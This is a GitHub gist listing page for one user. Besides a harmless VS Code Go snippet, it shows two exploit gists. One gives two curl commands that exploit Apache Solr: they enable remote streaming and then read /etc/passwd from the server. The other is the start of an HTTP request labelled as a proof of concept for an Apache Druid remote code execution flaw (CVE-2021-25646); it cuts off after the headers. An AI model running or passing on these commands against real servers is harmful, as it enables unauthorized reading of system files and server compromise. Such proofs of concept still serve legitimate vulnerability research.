Skip to content

Instantly share code, notes, and snippets.

View 0xf4n9x's full-sized avatar
💭
I may be slow to respond.

M4rtin Hsu 0xf4n9x

💭
I may be slow to respond.
View GitHub Profile
@0xf4n9x
0xf4n9x / go.json
Created October 3, 2021 08:16
Go Snippets in VS Code
{
"HEADER": {
"prefix": "header",
"body": [
"// @File : $TM_FILENAME",
"// @Time : $CURRENT_YEAR/$CURRENT_MONTH/$CURRENT_DATE $CURRENT_HOUR:$CURRENT_MINUTE:$CURRENT_SECOND",
"// @Author : yourname",
"// @Version : 1.0",
"// @Contact : youremail@gmail.com",
"",
@0xf4n9x
0xf4n9x / gist:2075ef36cc311a5e08aac983fc92e141
Created March 17, 2021 14:33
Solr Arbitrary File Read 0day Vulnerability
# ip="192.168.1.12:8983"
# curl -d '{"set-property" : {"requestDispatcher.requestParsers.enableRemoteStreaming":true}}' http://$ip/solr/db/config -H 'Content-type:application/json'
# curl "http://$ip/solr/db/debug/dump?param=ContentStreams" -F "stream.url=file:///etc/passwd"
@0xf4n9x
0xf4n9x / CVE-2021-25646 POC
Created February 2, 2021 15:21
CVE-2021-25646 Apache Druid RCE POC
POST /druid/indexer/v1/sampler HTTP/1.1
Host: x.x.x.x:8888
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:85.0) Gecko/20100101 Firefox/85.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/json
Content-Length: 1045
Connection: close